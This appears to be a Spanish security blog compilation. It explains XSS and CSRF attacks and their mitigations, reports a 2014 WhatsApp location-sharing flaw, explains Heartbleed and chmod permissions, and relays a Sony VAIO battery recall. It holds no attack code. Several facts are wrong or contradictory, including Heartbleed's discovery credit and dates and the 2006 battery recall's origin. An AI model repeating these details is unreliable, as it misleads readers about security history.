Definición: XSS es un ataque de inyección de código malicioso para su posterior ejecución que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web, mensajería instantánea o un correo electrónico. Así mismo, puede provocar una negación de servicio

Operación de un ataque XSS Generalmente, si el código malicioso se encuentra en forma de hipervínculo es codificado en HEX (basado en el sistema de numeración hexadecimal, base 16) o algún otro, así cuando el usuario lo vea, no le parecerá sospechoso. De esta manera, los datos ingresados por el usuario son enviados a otro sitio, cuya pantalla es muy similar al sitio web original. De esta manera, es posible secuestrar una sesión, robar cookies y cambiar la configuración de una cuenta de usuario. 

Tipos de Ataques: Las diversas variantes de esta vulnerabilidad pueden dividirse en dos grandes grupos: el primero se conoce como XSS persistente o directo y el segundo como XSS reflejado o indirecto. 

Directo o persistente. Consiste en invadir código HTML mediante la inclusión de etiquetas <script> y <frame> en sitios que lo permiten.

Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente o página web. Esas vulnerabilidades son resultado del uso indebido del DOM (Modelo de Objetos del Documento, es un conjunto estandarizado de objetos para representar páginas web) con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado, afectando el código de la primera página en el sistema local. Cuando el XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si se realizara la carga maliciosa en el cliente desde el servidor. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad.

Indirecto o reflejado. Funciona modificando valores que la aplicación web pasa de una página a otra, sin emplear sesiones. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM del navegador).

Consideraciones a tener en cuenta

Si eres un desarrollador

La aplicación web que se desee implementar debe contar con un buen diseño. Posteriormente, se deben realizar diversos tipos de pruebas antes de su liberación, para detectar posibles fallos y  huecos de seguridad, mediante el empleo de alguna herramienta automatizada. También, es conveniente proporcionar mantenimiento a la aplicación y estar actualizado en las versiones de las herramientas que se emplean para su puesta en marcha.

Algunas recomendaciones para mitigar el problema, son:

Emplear librerías verificadas o algún framework que ayude a disminuir el inconveniente. Por ejemplo: la librería anti-XSS de Microsoft, el módulo ESAPI de codificación de OWASP, Apache Wicket, entre otros.

Entender el contexto en el cual los datos serán usados y la codificación de los mismos, este aspecto es importante cuando se envían datos de un componente a otro de la aplicación o cuando se deben enviar a otra aplicación.

Conocer todas las áreas potenciales donde las entradas no verificadas pueden acceder al software: parámetros o argumentos, cookies, información de la red, variables de entorno, resultados de consultas, búsqueda de DNS reversible, peticiones enviadas en las cabeceras, componentes de la URL, correos electrónicos, archivos, nombres de archivo, bases de datos o algún sistema externo que proporcione información a la aplicación.

Las validaciones de datos de entrada, deben realizarse siempre del lado del servidor, no sólo en el lado del cliente. Los atacantes pueden evitar la validación realizada del lado del cliente modificando valores antes de realizar verificaciones o remover por completo esta validación.

En caso de ser posible, emplear mecanismos automatizados para separar cuidadosamente los datos del código fuente: revisión de comillas, codificación y validación automática que muchas veces se escapan al desarrollador.

Por cada página web generada, se recomienda emplear una codificación determinada de caracteres, ya que si no se especifica, el navegador puede dar un trato diferente a ciertas secuencias de caracteres especiales, permitiendo la apertura del cliente a posibles ataques.

Para mitigar el problema de ataque contra el uso de cookies, es conveniente indicar que tiene el formato de HttpOnly. En los navegadores que lo soportan, puede prevenirse que la cookie sea usada por scripts maliciosos desde el lado del cliente.

Se debe emplear una estrategia de validación de las entradas: rechazar aquellas que no cumplan con lo especificado, limpiar las que sean necesarias. Al validar, considérense  las características de cada entrada: longitud, tipo de dato, rango de valores aceptados, entradas perdidas o adicionales, sintaxis, consistencia con otras entradas proporcionadas y seguimiento de las reglas del negocio.

Cuando se construyan páginas web de forma dinámica (generadas de acuerdo a las entradas o solicitudes de los usuarios), es recomendable usar listas blancas estrictas. Todas las entradas deben ser limpiadas y validadas, incluidos cookies, campos ocultos, cabeceras y la propia dirección.

Cuando una cantidad aceptable de objetos, como nombres de archivo o URL es limitada o conocida, es conveniente crear una conjunto de asignaciones de valores de entrada fijo a los nombres de archivo o URL y rechazar todos los demás.

Se recomienda usar un firewall de aplicaciones capaz de detectar ataques cuando el código se genere dinámicamente, como medida de prevención, debe complementarse con otras para proporcionar defensa en profundidad.

Como Administrador de Bases de Datos

Así como el desarrollador debe validar las entradas proporcionadas por parte del usuario, el encargado de diseñar e implementar la base de datos debe considerar la seguridad de la misma, pues en ella se guarda la información proporcionada por los usuarios y es manipulada mediante la aplicación web. Los datos que serán almacenados, también pueden ser validados mediante el uso de constraints  (restricciones aplicables a los objetos de una base de datos: unique, default, not null, check) que restringen la entrada para cada campo.

PDF XSS

Es una vulnerabilidad ampliamente usada para afectar el Acrobat Reader de Adobe. En este caso, si se abusa de las características para abrir archivos en Acrobat, un sitio bien protegido se vuelve vulnerable a un ataque de tipo XSS si da alojamiento a documentos en formato PDF.

Esto afecta seriamente, a menos que se actualice el Reader o se cambie la forma en que el navegador maneja dichos documentos.

Una manera de combatirlo, si se cuenta con el servidor de aplicaciones web Apache, es llevar a cabo la correcta configuración de ModSecurity, ya que cuenta con directivas de protección para archivos en formato PDF.

 XSRF

Un ataque Cross-Site Request Forgery (XSRF ó también CSRF) explota la confianza que un usuario tiene hacia las entradas proporcionadas por un sitio.

Por ejemplo: un usuario se encuentra autenticado y navegando en un sitio, en ese momento un atacante obtiene el control de su navegador, con él realiza una solicitud a una tarea de una URL válida del sitio, por lo que el atacante tendrá acceso como si fuera el usuario previamente registrado.

Distintivamente, un atacante intercalará código HTML o JavaScript malicioso en un correo o en una tarea específica accesible desde una URL, que se ejecuta ya sea directamente o empleando un error de tipo XSS. También, es posible realizar inyección a través de lenguajes como el BBCode. Este tipo de ataques son difíciles de detectar.

Muchas de las funcionalidades de un sitio web son susceptibles de uso durante un ataque XSRF. Esto incluye información enviada tanto por GET como por POST.

También puede usarse como vector para explotar vulnerabilidades de tipo XSS en una aplicación. Ejemplos de ello son: una vulnerabilidad de tipo XSS en un foro donde un atacante puede obligar al usuario a publicar –sin que éste se dé cuenta- un gusano informático. Un atacante puede también usar XSRF para transmitir un ataque a algún sitio de su elección, así como realizar un DDos.

Sin embargo, las formas más comunes de realizar este tipo de ataque consisten en usar la etiqueta HTML o el objeto JavaScript empleados para imágenes. Distintivamente, el atacante infiltrará un email o sitio web en ellos, así cuando el usuario cargue la página o el correo electrónico, también estará realizando la petición a la URL que haya colocado el atacante.

Un atacante puede instalar su script dentro de un documento de Word, un archivo de flash, un clip de video, redifusión web RSS o Atom, o algún otro tipo de formato que pueda alojar el script.

Si un sitio web permite ejecutar sus funciones empleando una URL estática o peticiones POST, es posible que sea vulnerable, si la función se lleva a cabo mediante la petición GET, el riesgo es mayor. Si se realizan las mismas funciones,  de la misma forma repetidamente, entonces la aplicación puede ser vulnerable.

Un ataque XSRF no puede evitarse mediante la verificación del referer de las cabeceras de la petición realizada, ya que puede “limpiarse” o modificarse mediante algún tipo de filtro. Las cabeceras pueden falsearse usando XMLHTTP, por ejemplo.

Una de las soluciones más conocidas, consiste en adjuntar un token no predecible y cambiante a cada petición. Es importante que el estado de éste vaya asociado con la sesión del usuario, de otra manera un atacante puede adjuntar su propio token válido y emplearlo en su beneficio. Adicionalmente, al ligarlo a la sesión del usuario es importante limitar el periodo durante el cual será válido.

Whatsapp y el error que permite que te rastreen

Los servicios de inteligencia y los hackers,  podría explotar un nuevo fallo de seguridad de Whatsapp para rastrear a los usuarios

que no lo decimos solo nosotros, que cualquiera que esta en el mundo de la seguridad lo puede ratificar, pero aun asi, la gente cree que es solo que le tenemos mania, en fin a ver si esta noticia, y lo mejor este video que acompaña a este articulo, puede hacer que nos creais de una vez




Hace unas semanas, Un grupo de investigadores descubrió una vulnerabilidad en WhatsApp, (otra mas) esta vez en la característica "Compartir ubicación", que expone la ubicación del usuario a los atacantes.

Las cuestiones de seguridad relacionadas con WhatsApp  no son una novedad, Ya que esta  aplicación es foco de todos los "hackers", expertos y curiosos de la seguridad  que buscan vulnerabilidades que puedan explotar.
Al principio del 2014,  expertos de la empresa de seguridad Pretorian, han estado llevando a cabo el Proyecto Neptuno, cuyo objetivo principal es  evaluar la seguridad para el diseño y mantenimiento de las aplicaciones móviles, incluyendo WhatsApp.

Los investigadores descubrieron diferentes problemas de seguridad en la forma en que WhatApp implementa SSL, tal y como ya contamos en otro articulo, pero su mayor fallo de whatsapp  es de la  " colocación de llavero del certificado ", que expone a los usuarios al riesgo de ataques man-in-the-middle , Aunque parece que por fin la compañia ha reaccionado y a corregido, en parte el error.

Aun así, Un último bug descubierto en WhatsApp expone la ubicación del usuario a los atacantes, en particular bajo análisis, no solo es de WhatsApp, es de una de sus  características,  "Compartir ubicación".

Segun el comunicado de  los investigadores de la Universidad de New Hampshire, el equipo de  forenses cibernéticos de Investigación y Educación, para ser exactos, la función de compartir la ubicación implementado por WhatsApp podría exponer a la ubicación del usuario a los atacantes y los organismos de inteligencia.

Tal y como nos muestran nuestros compañeros de Thehackersnews, los usuarios tienen que ubicar en primer lugar a sí mismos en Google Map en la ventana de la aplicación.

Una vez que el usuario ha seleccionado la posición , WhatsApp recupera y toma una imagen desde el servicio Google Map, la miniatura se comparte como el icono de mensaje. En esta fase de la ubicación del usuario se expone porque WhatsApp descarga la imagen a través de un canal no cifrado de Google que permite a un atacante para capturar con un simple ataque  Man-in-the-middle.

Aqui te dejo el video que lo demuestra, a ver si asi lo creeis:

 en youtube esta en : https://www.youtube.com/watch?v=3L8uh0WQ3MU





" No fuimos capaces de interceptar la imagen hasta que el mensaje fue enviado desde el teléfono, lo que indica que la descarga de la imagen no se produjo hasta que el mensaje fue enviado realmente. ", dijeron los investigadores.

Para llevar a cabo el ataque MITM, la victima debe estar en la misma red, esto significa que el atacante debe estar cerca de su víctima, probablemente ya conociendo su ubicación ... pero si un atacante es capaz de llevar a cabo un ataque MITM a gran escala, el escenario cambia.

" tal dependencia de corto alcance hace que esta vulnerabilidad de muy bajo nivel de gravedad para los atacantes normales, pero las agencias de espionaje como la NSA o GCHQ , los que son capaces de realizar ataques MITM a gran escala, podría aprovecharse de este problema para rastrear a los usuarios 'en cualquier punto del mundo ".



Los investigadores han informado sin demora de la vulnerabilidad a WhatsApp, que ha fijado en la última versión beta disponible en la empresa en la web oficial , luego la solución se implementará también para el lanzamiento oficial.

A la espera de la revisión, se sugiere para evitar compartir la ubicación utilizando WhatsApp cuando se conecta a una red no fiable .


FUENTE: http://thehackernews.com/2014/04/whatsapp-flaw-leaves-user-location.html

ALERTA ¿Qué es el Bug OpenSSL Heartbleed y por qué es tan importante?

¿Qué es el Bug OpenSSL Heartbleed y por qué es tan importante?



Si tu eres un usuario basico  de Internet, lo normal es que solo uses  Internet para  trabajar .

 Y desde luego nunca te has preocupado de los que hay detras, de lo que sucede detrás de lapantalla de tu equipo, ni de como funciona esta transmision de datos, toda la encriptación, todos los negocios, y que cada pequeña transacción debe ser capaz de ofrecerle una manera segura de comunicarse y hacer su negocio en línea sin tener que preocuparse de la presencia de hackers merodeando en cada movimiento. 

Por desgracia internet es mucho mas  complicado y peligroso  Y el BUG OpenSSL "Heartbleed" es la prueba definitiva de ello. 

Hay algunas cosas que debes  debe saber acerca de este grabisimo error, ya que, con toda probabilidad, te afecte mucho mas de lo que piensas más de lo que piensas.

Lo 1º que deberiamos saber es:

¿Qué es OpenSSL?!

Todos lo conocemos pero ¿que es realmente OpenSSL?  todos abreis visto en algun momento el icono de candado pequeño al lado de la " https:// "en su navegador cuando entras sitios" seguros "

Cuando ves eso, quiere decir que está utilizando una forma especial de cifrado conocido como Secure Socket Layer (SSL) o Seguridad de la capa de transporte (TLS). Para proporcionar servicios con esta encriptación, necesita un algoritmo que proporcione el cifrado / descifrado para los paquetes que intercambie con el servidor. 

¿Hasta ahora claro? venga mas simple aun, Esto significa que tienen que tener una manera de traducir el texto en un galimatías ilegible y luego traducirlo de vuelta de que en la forma legible en su propio fin. 

Utilizando esta tecnología, si un hacker de alguna manera se las arregla para interferir con su conexión con el servidor, lo único que va a leer es una larga cadena de caracteres sin sentido.

Ahora llegamos a la parte  donde (por fin),  se explica qué es OpenSSL:

Es una aplicación gratuita y de código abierto de los protocolos SSL / TLS. Con esta tecnología, cualquier persona puede ofrecer servicios cifrados. Muchas empresas que tienen cuentas de correo y webs pueden usar OpenSSL para cifrar los datos.

¿Entonces si OpenSSL tiene un error que vence por completo el propósito de cifrado, cual es el motivo ?

El Bug, Historia y Explicación

El 10 de abril de 2014, la gente de PerfectCloud, una empresa de seguridad de identidad, han informado en un enorme agujero en la codificación de OpenSSL conocido como el BUG "Heartbleed". Durante dos años, no se ha actualizado, vamos que no hemos visto una nueva versión de OpenSSL, y durante ese tiempo Han tenido un problema en su código que expuso una fracción de la memoria de memoria de los servidores.
En esa fracción de memoria podría contener las claves privadas que se utilizan para cifrar / descifrar datos. (a que no te lo crees, pues es cierto y ya fue avisado hace mas de un año por varios programadores, sobre su existencia)

¿Y esto que significa? pues que un hacker podría descubrir las claves de cifrado del servidor y simplemente descifrar todo lo que envíe a la misma, incluyendo su nombre de usuario, la contraseña, y todo lo que es importante y querido para el usuario, y que al estar con protocolo ssl, estaba confiado al 100% de su seguridad.

El error se corrigió el 7 de abril de 2014, pero eso no significa que todo el mundo lo actualize inmediatamente con una actualización de sus implementaciones de OpenSSL.
 Las principales empresas de Internet como Amazon,  Yahoo y google, se han encargado de la cuestión, pero eso no significa que este todo claro claro! ya que Un hacker podría tener su nombre de usuario y contraseña en una lista, en estos momentos,  listo para ser usada para tratar de acceder a cualquier otra cuenta que usted pueda tener en otros lugares.

     
¿Qué deberia hacer?

Incluso si una compañía actualiza a la última versión de OpenSSL, aun sigues enriesgo, debido a las  anteriores exposiciones.
Sin embargo, si hay cualquier intento de hacking más, no van a tener éxito.
Lo que debes hacer en esta situación es cambiar su contraseña en todas partes. No esperes a que te avisen, hazlo ya.
 Sólo tienes que cambiar todo para evitar que algun listado este con tus datos y asi evitar que algun  hacker decida probar sus cuentas.


Este error demuestra lo  delicado y la gran interconexión de los datos que  es Internet. A pesar de que el concienciamiento de la seguridad en auge, internet es internet y la gente sigue siendo muy inocente

QUE son los numeros del CHMOD, respuesta a nuestros socios

A los que estamos acostumbrados a lidiar con sistemas unix, estamos acostumbrados a manejar los permisos, pero hay mucha gente que cuando ven estos numeros, creen que es un mensaje de lso extraterrestes o algun mensaje oculto de algun dios oculto, asi, que tras varias preguntas relativas al tema, veamos si somos capaces de explicar que es y que significan
 los números que acompañan al comando chmod encargados de asignar los permisos de usuario.
Para los que no entendáis mi explicación aquí tenéis un ejemplo:

chmod 777 miFichero

Este número 777 es el que voy a explicar de donde procede y como calcularlo en función de los permisos que queramos asignar.

El número está compuesto por tres cifras XXX, la primera hace referencia a los permisos del usuario, la segunda a los del grupo y la tercera cifra a los permisos de otros.

Cada una puede tomar valores entre 0 y 7 otorgando distintos permisos en función del número escogido.

0 = Ningún permiso
1 = Ejecución
2 = Escritura
3 = Escritura y ejecución
4 = Lectura
5 = Lectura y ejecución
6 = Lectura y escritura
7 = Lectura, escritura y ejecución

Pero, ¿cómo los calculamos(cada cifra se calcula por separado)?

r = lectura
w = escritura
x = ejecución

r w x
——–
0 0 0 => 0

0 0 1 => 1

0 1 0 => 2

0 1 1 => 3

1 0 0 => 4

1 0 1 => 5

1 1 0 => 6

1 1 1 => 7

Veamos algunos ejemplos de lo explicado:

Otorgarle al fichero “miFichero” permisos de lectura y escritura para el usuario, le ejecución para el grupo y ninguno para otros usuarios.


chmod 610 miFichero

Otorgarle al fichero “miFichero” permisos de lectura y escritura para el usuario, para el grupo de lectura y para otros de lectura también.
chmod 644 miFichero

Otorgarle al fichero “miFIchero” todos los permisos al usuario y ninguno al resto, tanto al grupo como a otros.


chmod 700 miFichero

ALERTA DE SEGURIDAD: retirada de los Sony VAIO por peligro de combustion

Todos en algún momento vimos como Sony sacaba un portátil prácticamente igual que el mac air, viendo en el un "Mata-air" bueno otro más, pero parece que a durado poco ya que segun un comunicado urgente de Sony, pide a sus usuarios que dejn de usar las VAIO Fit 11A por riesgo real y muy alto de combustión del equipo.

Tal y como dice el comunicado:

«Si usted tiene una o más VAIO Fit11A/Flip PC, por favor, descontinúe su uso inmediatamente. Apague y desenchufe la PC».

Esta es la recomendación que hace Sony sobre este modelo de sus ordenadores VAIO Fit 11A en el que han detectado baterías defectuosas que corren el riesgo de combustión.

En un comunicado emitido a principios de este mes en el portal de soporte de la empresa, Sony avisa que tenían el conocimiento de que una partida de baterías internas no cambiables que utilizan de uno de sus proveedores tienen el riesgo «potencial de sobrecalentamiento que da como resultado quemaduras en la carcasa de este equipo».

Por este motivo, recomiendan a los usuarios con una VAIO con el número de modelo SVF11N13CXS que dejen de utilizar este eqio ante el peligro potencialmente alto que conlleva por quemaduras y/o incendio.

«En estos momentos estamos identificando Los equipos afectados por sus números de serie y desarrollando un programa para la reparación o reemplazo sin coste, ó el reembolso del precio de este equipo», señalan en el comunicado.

Según explican en Bloomberg, el proveedor de estas baterías ha sido Panasonic y ya se encuentran dando soporte. En el comunicado señalan que esperan poner en marcha el proceso de cambio en las próximas semanas.

Bloomberg recuerda que Sony ya ha tenido problemas con baterías en el pasado, resaltando el año 2006 en el que se retiraron del mercado cerca de seis millones de ordenadores que tenían una batería defectuosa realizada por Dell.

y realmente será un colofón nada agradable al anuncio por parte de Sony sobre que este año se desprendía de su división de ordenadores VAIO.

¿Como podemos saber si nuestro equipo es de los afectados?

Sigue las instrucciones para saber si tu Vaio Fit 11A es del modelo con estas baterías:

—Abra tu equipo.

—Mueve la barra hacia «release» (Liberar)

—Levante la pantalla

—Revise el modelo del ordenador en la esquina derecha superior

 

Publicado por soymaquero.net